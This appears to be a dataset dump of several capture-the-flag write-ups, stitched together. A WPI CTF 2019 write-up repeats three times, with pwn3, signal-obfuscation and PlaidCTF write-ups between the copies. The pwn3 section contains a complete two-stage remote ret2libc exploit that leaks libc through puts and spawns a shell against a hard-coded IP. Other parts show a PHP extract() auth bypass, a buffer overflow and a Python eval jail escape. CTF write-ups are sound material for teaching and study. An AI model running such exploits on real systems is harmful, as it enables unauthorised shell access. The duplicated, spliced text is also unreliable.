text_chunk
stringlengths
151
703k
This is a write up from my participation in WPI's CTF competition. [I got placed at 42nd place out of 586 teams with a score of 981](https://ctftime.org/team/78226). The event had a number of challenges, and I will be explaining the ones that I managed to clear in this document. # Linux**1. suckmore-shell** ###### Descrption Here at Suckmore Software we are committed to delivering a truly unparalleled user experience. Help us out by testing our latest project. ssh [email protected] pass: i'm a real hacker now Brought to you by acurless and SuckMore Software, a division of WPI Digital Holdings Ltd. After logging in through ssh, I searched for every file in every directory of the path which contained the string "WPI" using the **grep -r WPI /PATH**. After a number of attempts, I found the flag to be hidden in /home/ctf/flag file. Flag: WPI{bash_sucks0194342} **2. pseudo-random** ###### Descrption ssh [email protected] pass: random doesn't always mean random made by acurless Probably the hardest challenge for me. The name of the challenge suggested that the task has something to do with linux's pseudo-random generator /dev/random and /dev/urandom. After trying to use urandom a couple of times, I realized it is giving me the same result instead of being random. When I ran the command **file** on urandom, it suggested it is an ascii text file, which lead to the conclusion that this file has been modified. When I inspected /dev/random using the **file** command, it described it as **openssl enc'd data with salted password**. That lead me to believe that this file has been encrpted using openSSL and /dev/urandom is the key (password) file for it. So I used the command **openssl enc -aes-256-cbc -d -salt -in /dev/random -kfile /dev/urandom** which showed the following decrypted message with the flag: Being holy in our church means installing a wholly free operating system--GNU/Linux is a good choice--and not putting any non-free software on your computer. Join the Church of Emacs, and you too can be a saint! And lo, it came to pass, that the neophyte encountered the Beplattered One and humbly posed the question "Oh great master, is it a sin to use vi?" And St. IGNUcuis dist thus reply unto him, "No, my young hacker friend, it is not a sin. It is a penance." WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us} # Cryptography**1. zoomercrypt** ###### Descrption> My daughter is using a coded language to hide her activities from us!!!! Please, help us find out what she is hiding! ![Zoomer Crypt](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/zoomercrypt.jpg) We were given the above picture to decode the message from. I converted all emojis into unicode first, which resulted in a string like this: U+1F603 U+1F601 U+1F615 ......... I noticed that all of them have one thing in common: **U+1F6**, which leads me to the conclusion that we only need the last two bits of the code, which resulted into the following series of numbers: 03 01 15 17 08 17 07 0B 04 17 { 06 13 04 13 02 08_ 0E 03 03 01 13 06 07} Then tracing each number to their alphabetical position, we get: DBP RI RH LER{GNENCI_ODDBNGH} Now in the picture message, it mentions that the message is using ROT15 substitution cipher, so we shift each letter 15 positions backwards to get: OMA CT CS WPC{RYPYNT_ZOOMYRS} Now I was stuck at this point for a long time. I do not know if I made a mistake somehow in the process of decrypting, or it was intentional, but the resulting string had 2 letters wrong. After thinking about it for a while, I realized that the name of the challenge is "**zoomer**crypt", so our decrypted flag should be OMA CT CS WPC{RYPYNT_ZOOM**E**RS}, which made sense. Hence after replacing every instance of letter Y with E, we get: OMA CT CS WPC{REPENT_ZOOMERS} Which now made a lot of sense. So after changing the WPC to WPI (which is the flag format), I successfully managed to decrypt the message! Flag: WPI{REPENT_ZOOMERS} **2. jocipher** ###### Descrption> Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! We were given a compiled python file which the text was encrpted with. I used **uncompyle6** python decrypter to decompile the file to get access to its source code. That resulted in the following code: > https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/jocipher_Decompiled I modified the code slightly by adding the following code in the condition at line #133, to test a number of range for the correct seed to decrypt with: if args.decode: for i in range(50): print(i) ret = decode(args.string, i) With that, the flag was found at seed #48. Flag: WPI{xkcd-keyboard-mash} # Web**1. getaflag** ###### Descrption Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) The challenge required us to guess the correct password. Upon inspecting the source of the page, I found a commented out encrpted key: > \ The trailing == suggest that it is a base64 encoding, so after decrypting it, I found the message: > Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) That lead me to /auth.php page which contained the hints to solve this challenge. The page contained the following pseudo code: // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } } This hint shows us how the authentication works. So by manipulating the data sent to the website, I passed empty value for **input** and **passcode** which resulted in the comparison to be successful, resulting it in showing the flag. The URL was passed onto auth.php as follows: http://getaflag.wpictf.xyz:31337/?input=&passcode= The leads to the success page, but the flag itself is outputted as a console.log() command using JavaScript. So I had to open the browser console to get the flag. Flag: WPI{1_l0v3_PHP} # Miscellaneous**1. Remy's Epic Adventure** ###### Descrption A tribute to the former God Emperor of CSC and Mankind, Ultimate Protector of the CS Department, and Executor of Lord Craig Shue's Divine will. https://drive.google.com/drive/folders/1RmSgqBhd-_8CFYvvdJXqGDbvzjE3bcwG?usp=sharing Author: Justo This was one of the most fun and most frustrating challenge of them all. We were given a game to beat. In the final level of the game, there is a boss which we have to beat to get the flag. After trying to kill it for an hour, I used a small python script using Pynput which left-clicks every 0.001 ms. Even with that, after 20 minutes of trying I could not kill the boss. Which made me realise that challenge requires us to kill it by other means. I used a tool called **Cheat Engine**. This tool lets you collect information about running processes, and lets you manipulate values stored in the registers to modify the game behavior. After loading the game in cheat engine, I found that the boss has 2147483646 HP (no wonder I couldn't kill it!). So I changed the value of its HP to 0 and that instantly killed it. After getting out of the stage, the flag is displayed on the screen to be written down. Flag: WPI{j0in_th3_illumin@ti_w1th_m3} # PWN**1. Source pt1** ###### Descrption ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff. made by awg This task required us to log into their server using the provided details. Upon login, you are promoted to write a password to gain access to the source code: Enter the password to get access to https://www.imdb.com/title/tt0945513/ Upon entering a wrong password, the connection closes with the following error: Pasword auth failed exiting Connection to source.wpictf.xyz closed. So I tried to find the length of the password. After several tries, I noticed that the connection simply closes if you enter a password above a certain length; without any error. That made me narrow the length of the password down to around 110 characters. Upon entering a random string of length 109 characters as password, the source of the program is displayed where the flag is hidden in a comment. Upon inspecting the source code, I noticed that the length of the password is 100 characters, and by entering a certain amount of characters, we overflowed the buffer; giving us access to the source code. Flag: WPI{Typos_are_GrEaT!} # Reversing**1. strings** For this challenge, we were given an execuable file to run. I opened the file in a text editor and search for the key word "WPI" and found the flag in it. Flag: WPI{What_do_you_mean_I_SEE_AHH_SKI} # Recon**1. Chrip** ![Chirp Recon](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/chirp.png) Perhaps the easiest challenge of them all. We were given a picture of a blue bird, with a watermark "Seige" written on it. This hinted that the answer is somewhere on Twitter. Upon searching for Seige Technologies's (which were the sponsor of this event) Twitter page, I found the key in one of their tweets. Flag: WPI{sp0nsored_by_si3ge}
This is a write up from my participation in WPI's CTF competition. [I got placed at 42nd place out of 586 teams with a score of 981](https://ctftime.org/team/78226). The event had a number of challenges, and I will be explaining the ones that I managed to clear in this document. # Linux**1. suckmore-shell** ###### Descrption Here at Suckmore Software we are committed to delivering a truly unparalleled user experience. Help us out by testing our latest project. ssh [email protected] pass: i'm a real hacker now Brought to you by acurless and SuckMore Software, a division of WPI Digital Holdings Ltd. After logging in through ssh, I searched for every file in every directory of the path which contained the string "WPI" using the **grep -r WPI /PATH**. After a number of attempts, I found the flag to be hidden in /home/ctf/flag file. Flag: WPI{bash_sucks0194342} **2. pseudo-random** ###### Descrption ssh [email protected] pass: random doesn't always mean random made by acurless Probably the hardest challenge for me. The name of the challenge suggested that the task has something to do with linux's pseudo-random generator /dev/random and /dev/urandom. After trying to use urandom a couple of times, I realized it is giving me the same result instead of being random. When I ran the command **file** on urandom, it suggested it is an ascii text file, which lead to the conclusion that this file has been modified. When I inspected /dev/random using the **file** command, it described it as **openssl enc'd data with salted password**. That lead me to believe that this file has been encrpted using openSSL and /dev/urandom is the key (password) file for it. So I used the command **openssl enc -aes-256-cbc -d -salt -in /dev/random -kfile /dev/urandom** which showed the following decrypted message with the flag: Being holy in our church means installing a wholly free operating system--GNU/Linux is a good choice--and not putting any non-free software on your computer. Join the Church of Emacs, and you too can be a saint! And lo, it came to pass, that the neophyte encountered the Beplattered One and humbly posed the question "Oh great master, is it a sin to use vi?" And St. IGNUcuis dist thus reply unto him, "No, my young hacker friend, it is not a sin. It is a penance." WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us} # Cryptography**1. zoomercrypt** ###### Descrption> My daughter is using a coded language to hide her activities from us!!!! Please, help us find out what she is hiding! ![Zoomer Crypt](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/zoomercrypt.jpg) We were given the above picture to decode the message from. I converted all emojis into unicode first, which resulted in a string like this: U+1F603 U+1F601 U+1F615 ......... I noticed that all of them have one thing in common: **U+1F6**, which leads me to the conclusion that we only need the last two bits of the code, which resulted into the following series of numbers: 03 01 15 17 08 17 07 0B 04 17 { 06 13 04 13 02 08_ 0E 03 03 01 13 06 07} Then tracing each number to their alphabetical position, we get: DBP RI RH LER{GNENCI_ODDBNGH} Now in the picture message, it mentions that the message is using ROT15 substitution cipher, so we shift each letter 15 positions backwards to get: OMA CT CS WPC{RYPYNT_ZOOMYRS} Now I was stuck at this point for a long time. I do not know if I made a mistake somehow in the process of decrypting, or it was intentional, but the resulting string had 2 letters wrong. After thinking about it for a while, I realized that the name of the challenge is "**zoomer**crypt", so our decrypted flag should be OMA CT CS WPC{RYPYNT_ZOOM**E**RS}, which made sense. Hence after replacing every instance of letter Y with E, we get: OMA CT CS WPC{REPENT_ZOOMERS} Which now made a lot of sense. So after changing the WPC to WPI (which is the flag format), I successfully managed to decrypt the message! Flag: WPI{REPENT_ZOOMERS} **2. jocipher** ###### Descrption> Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! We were given a compiled python file which the text was encrpted with. I used **uncompyle6** python decrypter to decompile the file to get access to its source code. That resulted in the following code: > https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/jocipher_Decompiled I modified the code slightly by adding the following code in the condition at line #133, to test a number of range for the correct seed to decrypt with: if args.decode: for i in range(50): print(i) ret = decode(args.string, i) With that, the flag was found at seed #48. Flag: WPI{xkcd-keyboard-mash} # Web**1. getaflag** ###### Descrption Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) The challenge required us to guess the correct password. Upon inspecting the source of the page, I found a commented out encrpted key: > \ The trailing == suggest that it is a base64 encoding, so after decrypting it, I found the message: > Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) That lead me to /auth.php page which contained the hints to solve this challenge. The page contained the following pseudo code: // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } } This hint shows us how the authentication works. So by manipulating the data sent to the website, I passed empty value for **input** and **passcode** which resulted in the comparison to be successful, resulting it in showing the flag. The URL was passed onto auth.php as follows: http://getaflag.wpictf.xyz:31337/?input=&passcode= The leads to the success page, but the flag itself is outputted as a console.log() command using JavaScript. So I had to open the browser console to get the flag. Flag: WPI{1_l0v3_PHP} # Miscellaneous**1. Remy's Epic Adventure** ###### Descrption A tribute to the former God Emperor of CSC and Mankind, Ultimate Protector of the CS Department, and Executor of Lord Craig Shue's Divine will. https://drive.google.com/drive/folders/1RmSgqBhd-_8CFYvvdJXqGDbvzjE3bcwG?usp=sharing Author: Justo This was one of the most fun and most frustrating challenge of them all. We were given a game to beat. In the final level of the game, there is a boss which we have to beat to get the flag. After trying to kill it for an hour, I used a small python script using Pynput which left-clicks every 0.001 ms. Even with that, after 20 minutes of trying I could not kill the boss. Which made me realise that challenge requires us to kill it by other means. I used a tool called **Cheat Engine**. This tool lets you collect information about running processes, and lets you manipulate values stored in the registers to modify the game behavior. After loading the game in cheat engine, I found that the boss has 2147483646 HP (no wonder I couldn't kill it!). So I changed the value of its HP to 0 and that instantly killed it. After getting out of the stage, the flag is displayed on the screen to be written down. Flag: WPI{j0in_th3_illumin@ti_w1th_m3} # PWN**1. Source pt1** ###### Descrption ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff. made by awg This task required us to log into their server using the provided details. Upon login, you are promoted to write a password to gain access to the source code: Enter the password to get access to https://www.imdb.com/title/tt0945513/ Upon entering a wrong password, the connection closes with the following error: Pasword auth failed exiting Connection to source.wpictf.xyz closed. So I tried to find the length of the password. After several tries, I noticed that the connection simply closes if you enter a password above a certain length; without any error. That made me narrow the length of the password down to around 110 characters. Upon entering a random string of length 109 characters as password, the source of the program is displayed where the flag is hidden in a comment. Upon inspecting the source code, I noticed that the length of the password is 100 characters, and by entering a certain amount of characters, we overflowed the buffer; giving us access to the source code. Flag: WPI{Typos_are_GrEaT!} # Reversing**1. strings** For this challenge, we were given an execuable file to run. I opened the file in a text editor and search for the key word "WPI" and found the flag in it. Flag: WPI{What_do_you_mean_I_SEE_AHH_SKI} # Recon**1. Chrip** ![Chirp Recon](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/chirp.png) Perhaps the easiest challenge of them all. We were given a picture of a blue bird, with a watermark "Seige" written on it. This hinted that the answer is somewhere on Twitter. Upon searching for Seige Technologies's (which were the sponsor of this event) Twitter page, I found the key in one of their tweets. Flag: WPI{sp0nsored_by_si3ge}
[+] First of all check the binary file and execute $ file pwn3pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce51da8814e47e16a2df43c69d5c6ee12cc9bbd8, not stripped $./pwn3I am hungry you have to feed me to win this challenge. Now give me some sweet desert.```AAAA``` [+] Let's see in GDB. The ELF is not stripped so we can disassemble easily. gdb-peda$ disas main``` Dump of assembler code for function main: 0x0804847d <+0>: push ebp 0x0804847e <+1>: mov ebp,esp 0x08048480 <+3>: and esp,0xfffffff0 0x08048483 <+6>: sub esp,0x90 0x08048489 <+12>: mov eax,ds:0x80497e0 0x0804848e <+17>: mov DWORD PTR [esp+0xc],0x0 0x08048496 <+25>: mov DWORD PTR [esp+0x8],0x2 0x0804849e <+33>: mov DWORD PTR [esp+0x4],0x0 0x080484a6 <+41>: mov DWORD PTR [esp],eax 0x080484a9 <+44>: call 0x8048370 <setvbuf@plt> 0x080484ae <+49>: mov DWORD PTR [esp],0x8048570 0x080484b5 <+56>: call 0x8048340 <puts@plt> 0x080484ba <+61>: mov DWORD PTR [esp],0x80485ac 0x080484c1 <+68>: call 0x8048340 <puts@plt> 0x080484c6 <+73>: lea eax,[esp+0x10] 0x080484ca <+77>: mov DWORD PTR [esp],eax 0x080484cd <+80>: call 0x8048330 <gets@plt> 0x080484d2 <+85>: mov eax,0x0 0x080484d7 <+90>: leave 0x080484d8 <+91>: ret End of assembler dump.``` [+] gets() function is being used. gets() is dangerous because it provides a way of buffer overflow attack or an error. The function gets() work in a way that it reads data form standard input stream until a new line is found.Possibly a buffer overflow. 0x080484cd <+80>: call 0x8048330 <gets@plt> [+] Let's check sec of binary. gdb-peda$ checksec ```CANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : disabled``` NX is enabled this suggests that if there is buffer overflow, we will use the ret2libc [+] Let's try to crash the binary: $ python -c 'print "A" *300' | ./pwn3 I am hungry you have to feed me to win this challenge Now give me some sweet desert```Segmentation fault``` It is clear that it is buffer overflow. Of course this would be easy to run locally, working with something like this: ```from pwn import * buf = ""buf += "A"*140 #OVERWRITE STACKbuf += p32(system_addr) #OVERWRITE EIP with system acquired through: readelf -s your_libc | grep putsbuf += p32(fake_return) #FAKE RETURN buf += p32(bin_sh) #ARGUMENT OF SYSTEM with plt entry of puts acquired through: strings -a -t x your_libc | grep "/bin/sh"``` Note: In 32-bit architecture arguments are passed on the stack so we do not need gadgets.False return is necessary because the system() function needs to be returned and without this your payload would be misaligned on the stack [+] We know there is a buffer overflow and that nx is enabled. To make the NX bypass, we can use ret2libc.but ... the big question is how to do this remotely?How to know which libc is being used on the remote host? 1 - First of all we need to know that we will have to leak the libc address, this will also give us an advantage over ALSR if it is active on the remote host. For this to happen you need to overwrite the EIP with the PLT of puts and pass as an argument the GOT of some function. In our case I used the puts 2 - Knowing the address of libc, we can find out which libc the binary is using on the remote server. See https://github.com/niklasb/libc-database 3 - Now with the right libc, we can properly calculate the libc base and extract the necessary offsets for /bin/sh, system, puts. With the address of the libc base added to the offsets of / bin / sh and system respectively we will arrive at the complete address of where they are 4 - Do you remember the fake return? The difference is that we now need to point it to main, because the exploit needs to work in two parts.Leak an address from libc and return to main + ret2libc == got shell See exploit below: ```import structimport socketfrom pwn import * ########################## [REMOTE EXPLOIT] by M4ST3R3K ########################## ###[PWN3]### context(arch = 'i386', os = 'linux', endian = 'little') #################### STAGE1 #################### puts_plt = 0x8048340 #objdump -D pwn3 | grep putsputs_got = 0x80497b0 #objdump -R pwn3 | grep putsmain = 0x804847d #objdump -D pwn3 | grep main buf = ""buf += "A"*140 #junkbuf += p32(puts_plt) #plt entry of putsbuf += p32(main) #return to mainbuf += p32(puts_got) #got entry of puts s = remote('104.154.106.182', 4567) log.info("Stage 1: ...Leaking Memory") print '' print s.recv() s.sendline(buf) received = s.recvline() print received leaked_puts_got = received[:4].strip().ljust(4, '\x00') leaked_puts_got = u32(leaked_puts_got) addrs = hex(leaked_puts_got) leaked_puts_got = int(addrs, 16) log.success("Leaked remote libc address: " + addrs) print '' #################### STAGE2 #################### #---> libc obtained through the leak of the got puts address <---##libc6_2.19-0ubuntu6.14_i386 #---> dump of offsets obtained with libc-database <--- # https://github.com/niklasb/libc-database#offset___libc_start_main_ret = 0x19af3#offset_system = 0x00040310#offset_dup2 = 0x000ddda0#offset_read = 0x000dd3e0#offset_write = 0x000dd460#offset_str_bin_sh = 0x162d4c offset_bin_sh = 0x162d4c offset_system = 0x40310offset_puts = 0x657e0libc_base = leaked_puts_got - offset_puts system_addr = libc_base + offset_systemfake_addr = 0xbeefdeadbin_sh_addr = libc_base + offset_bin_sh buf = ""buf += "A"*132 #junk (in the second part of the exploration the payload had to be aligned. Obtained through debugger).buf += p32(system_addr) #system into libcbuf += p32(fake_addr) #fake return addressbuf += p32(bin_sh_addr) #/bin/sh into libc log.info("Stage 2: ...Obtaining Shell ") print '' s.sendline(buf) s.interactive()```
Binary with totally altered program flow (everything done trough signals etc).Steps to solve (very brief, more in writeup):- Find function that prints info about bad password- Find function that sets info about bad password- Open up gdb, and break on this function to read password char by char.
# i can count Description: Let's do this together. You do know how to count, don't you? "i can count" is a 32bit Linux binary with symbols that requests the user to count up until a function identifies the entered number as the flag. ## Solution The verification process consists out of a function that "encodes" each ASCII digit that was entered and checks if they match with a fixed array.If 19 correct digits are entered the number is treated as correct and is outputted as the flag. By mapping each digit to the encoded value and then mapping the compare array back to the digits the values originate from results in the flag `PCTF{2052419606511006177}`. I automated this task with a small gdb script: ```pythongdb.execute("b *main") # break somewheregdb.execute("b *check_flag+35") # beginning of rol codegdb.execute("b *check_flag+1330") # compare at the endgdb.execute("run") # start the process d = {} # dictionary of "encoded" values for c in "0123456789": # iterate over all number character gdb.execute("jump *check_flag") # start the function gdb.execute("set *((int*)($ebp-0x1C)) = 0") # reset the index just in case gdb.execute("p flag_buf@1 = 0x%02X" % ord(c)) # set the first buffer character gdb.execute("continue") # encode the character v1 = int(gdb.parse_and_eval("$al"))&0xFF # read the encoded value d[v1] = c # save input and output character in a dictionary res = [] # array containing finished number for i in range(0x13): cmp = int(gdb.parse_and_eval("*((unsigned char*)(check_buf + "+str(i)+"))")) # check buffer value for the given index res.append(d[cmp]) # map the "encoded" value to a number print("PCTF{%s}" % ''.join(res))``` # Space Saver Description: we couldn't think of anything cute so here you go Space Saver is a 100MB file starting with a DOS boot sector and some data within surrounded by zero bytes. ## Solution Running "binwalk -e <binary>" extracts a RAR archive with a password protected picture called "final.png" from the image and also hints at the existence of PNG files in the file system.Examining the image in a hex editor manually and searching for the PNG Header shows multiple files, but 3 of them contain a short string at the end which didn't belong to the file itself ("Spac", "3ei2", "herE"). Using the password "Spac3ei2herE" to extract the final.png file works and reveals the flag: ![](spacesaver.PNG) # can you guess me "can you guess me" consists out of a service that serves a python script that allows 10 unique characters to be entered and evaluated. The challenge services source file:```python#! /usr/bin/env python3 from sys import exitfrom secret import secret_value_for_password, flag, exec print(r"")print(r"")print(r" ____ __ __ ____ __ __ ")print(r" / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ ")print(r"| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ ")print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| ")print(r" ")print(r"")print(r"") try: val = 0 inp = input("Input value: ") count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag) else: print("Nope. Better luck next time.")except: print("Nope. No hacking.") exit(1)``` ## Solution Using the build-in help command on the flag results in the service giving it out:``` ____ __ __ ____ __ __ / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| Input value: help(flag)No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'.Use help() to get the interactive help utility.Use help(str) for help on the str class. Nope. Better luck next time.``` Opening the interactive help() console and reading out the secret module also reveals that there is no correct number input:```DATA flag = 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}' secret_value_for_password = 'not even a number; this is a damn string;... trollface = '\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...@@@@@...```
This is a write up from my participation in WPI's CTF competition. [I got placed at 42nd place out of 586 teams with a score of 981](https://ctftime.org/team/78226). The event had a number of challenges, and I will be explaining the ones that I managed to clear in this document. # Linux**1. suckmore-shell** ###### Descrption Here at Suckmore Software we are committed to delivering a truly unparalleled user experience. Help us out by testing our latest project. ssh [email protected] pass: i'm a real hacker now Brought to you by acurless and SuckMore Software, a division of WPI Digital Holdings Ltd. After logging in through ssh, I searched for every file in every directory of the path which contained the string "WPI" using the **grep -r WPI /PATH**. After a number of attempts, I found the flag to be hidden in /home/ctf/flag file. Flag: WPI{bash_sucks0194342} **2. pseudo-random** ###### Descrption ssh [email protected] pass: random doesn't always mean random made by acurless Probably the hardest challenge for me. The name of the challenge suggested that the task has something to do with linux's pseudo-random generator /dev/random and /dev/urandom. After trying to use urandom a couple of times, I realized it is giving me the same result instead of being random. When I ran the command **file** on urandom, it suggested it is an ascii text file, which lead to the conclusion that this file has been modified. When I inspected /dev/random using the **file** command, it described it as **openssl enc'd data with salted password**. That lead me to believe that this file has been encrpted using openSSL and /dev/urandom is the key (password) file for it. So I used the command **openssl enc -aes-256-cbc -d -salt -in /dev/random -kfile /dev/urandom** which showed the following decrypted message with the flag: Being holy in our church means installing a wholly free operating system--GNU/Linux is a good choice--and not putting any non-free software on your computer. Join the Church of Emacs, and you too can be a saint! And lo, it came to pass, that the neophyte encountered the Beplattered One and humbly posed the question "Oh great master, is it a sin to use vi?" And St. IGNUcuis dist thus reply unto him, "No, my young hacker friend, it is not a sin. It is a penance." WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us} # Cryptography**1. zoomercrypt** ###### Descrption> My daughter is using a coded language to hide her activities from us!!!! Please, help us find out what she is hiding! ![Zoomer Crypt](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/zoomercrypt.jpg) We were given the above picture to decode the message from. I converted all emojis into unicode first, which resulted in a string like this: U+1F603 U+1F601 U+1F615 ......... I noticed that all of them have one thing in common: **U+1F6**, which leads me to the conclusion that we only need the last two bits of the code, which resulted into the following series of numbers: 03 01 15 17 08 17 07 0B 04 17 { 06 13 04 13 02 08_ 0E 03 03 01 13 06 07} Then tracing each number to their alphabetical position, we get: DBP RI RH LER{GNENCI_ODDBNGH} Now in the picture message, it mentions that the message is using ROT15 substitution cipher, so we shift each letter 15 positions backwards to get: OMA CT CS WPC{RYPYNT_ZOOMYRS} Now I was stuck at this point for a long time. I do not know if I made a mistake somehow in the process of decrypting, or it was intentional, but the resulting string had 2 letters wrong. After thinking about it for a while, I realized that the name of the challenge is "**zoomer**crypt", so our decrypted flag should be OMA CT CS WPC{RYPYNT_ZOOM**E**RS}, which made sense. Hence after replacing every instance of letter Y with E, we get: OMA CT CS WPC{REPENT_ZOOMERS} Which now made a lot of sense. So after changing the WPC to WPI (which is the flag format), I successfully managed to decrypt the message! Flag: WPI{REPENT_ZOOMERS} **2. jocipher** ###### Descrption> Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! We were given a compiled python file which the text was encrpted with. I used **uncompyle6** python decrypter to decompile the file to get access to its source code. That resulted in the following code: > https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/jocipher_Decompiled I modified the code slightly by adding the following code in the condition at line #133, to test a number of range for the correct seed to decrypt with: if args.decode: for i in range(50): print(i) ret = decode(args.string, i) With that, the flag was found at seed #48. Flag: WPI{xkcd-keyboard-mash} # Web**1. getaflag** ###### Descrption Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) The challenge required us to guess the correct password. Upon inspecting the source of the page, I found a commented out encrpted key: > \ The trailing == suggest that it is a base64 encoding, so after decrypting it, I found the message: > Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) That lead me to /auth.php page which contained the hints to solve this challenge. The page contained the following pseudo code: // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } } This hint shows us how the authentication works. So by manipulating the data sent to the website, I passed empty value for **input** and **passcode** which resulted in the comparison to be successful, resulting it in showing the flag. The URL was passed onto auth.php as follows: http://getaflag.wpictf.xyz:31337/?input=&passcode= The leads to the success page, but the flag itself is outputted as a console.log() command using JavaScript. So I had to open the browser console to get the flag. Flag: WPI{1_l0v3_PHP} # Miscellaneous**1. Remy's Epic Adventure** ###### Descrption A tribute to the former God Emperor of CSC and Mankind, Ultimate Protector of the CS Department, and Executor of Lord Craig Shue's Divine will. https://drive.google.com/drive/folders/1RmSgqBhd-_8CFYvvdJXqGDbvzjE3bcwG?usp=sharing Author: Justo This was one of the most fun and most frustrating challenge of them all. We were given a game to beat. In the final level of the game, there is a boss which we have to beat to get the flag. After trying to kill it for an hour, I used a small python script using Pynput which left-clicks every 0.001 ms. Even with that, after 20 minutes of trying I could not kill the boss. Which made me realise that challenge requires us to kill it by other means. I used a tool called **Cheat Engine**. This tool lets you collect information about running processes, and lets you manipulate values stored in the registers to modify the game behavior. After loading the game in cheat engine, I found that the boss has 2147483646 HP (no wonder I couldn't kill it!). So I changed the value of its HP to 0 and that instantly killed it. After getting out of the stage, the flag is displayed on the screen to be written down. Flag: WPI{j0in_th3_illumin@ti_w1th_m3} # PWN**1. Source pt1** ###### Descrption ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff. made by awg This task required us to log into their server using the provided details. Upon login, you are promoted to write a password to gain access to the source code: Enter the password to get access to https://www.imdb.com/title/tt0945513/ Upon entering a wrong password, the connection closes with the following error: Pasword auth failed exiting Connection to source.wpictf.xyz closed. So I tried to find the length of the password. After several tries, I noticed that the connection simply closes if you enter a password above a certain length; without any error. That made me narrow the length of the password down to around 110 characters. Upon entering a random string of length 109 characters as password, the source of the program is displayed where the flag is hidden in a comment. Upon inspecting the source code, I noticed that the length of the password is 100 characters, and by entering a certain amount of characters, we overflowed the buffer; giving us access to the source code. Flag: WPI{Typos_are_GrEaT!} # Reversing**1. strings** For this challenge, we were given an execuable file to run. I opened the file in a text editor and search for the key word "WPI" and found the flag in it. Flag: WPI{What_do_you_mean_I_SEE_AHH_SKI} # Recon**1. Chrip** ![Chirp Recon](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/chirp.png) Perhaps the easiest challenge of them all. We were given a picture of a blue bird, with a watermark "Seige" written on it. This hinted that the answer is somewhere on Twitter. Upon searching for Seige Technologies's (which were the sponsor of this event) Twitter page, I found the key in one of their tweets. Flag: WPI{sp0nsored_by_si3ge}
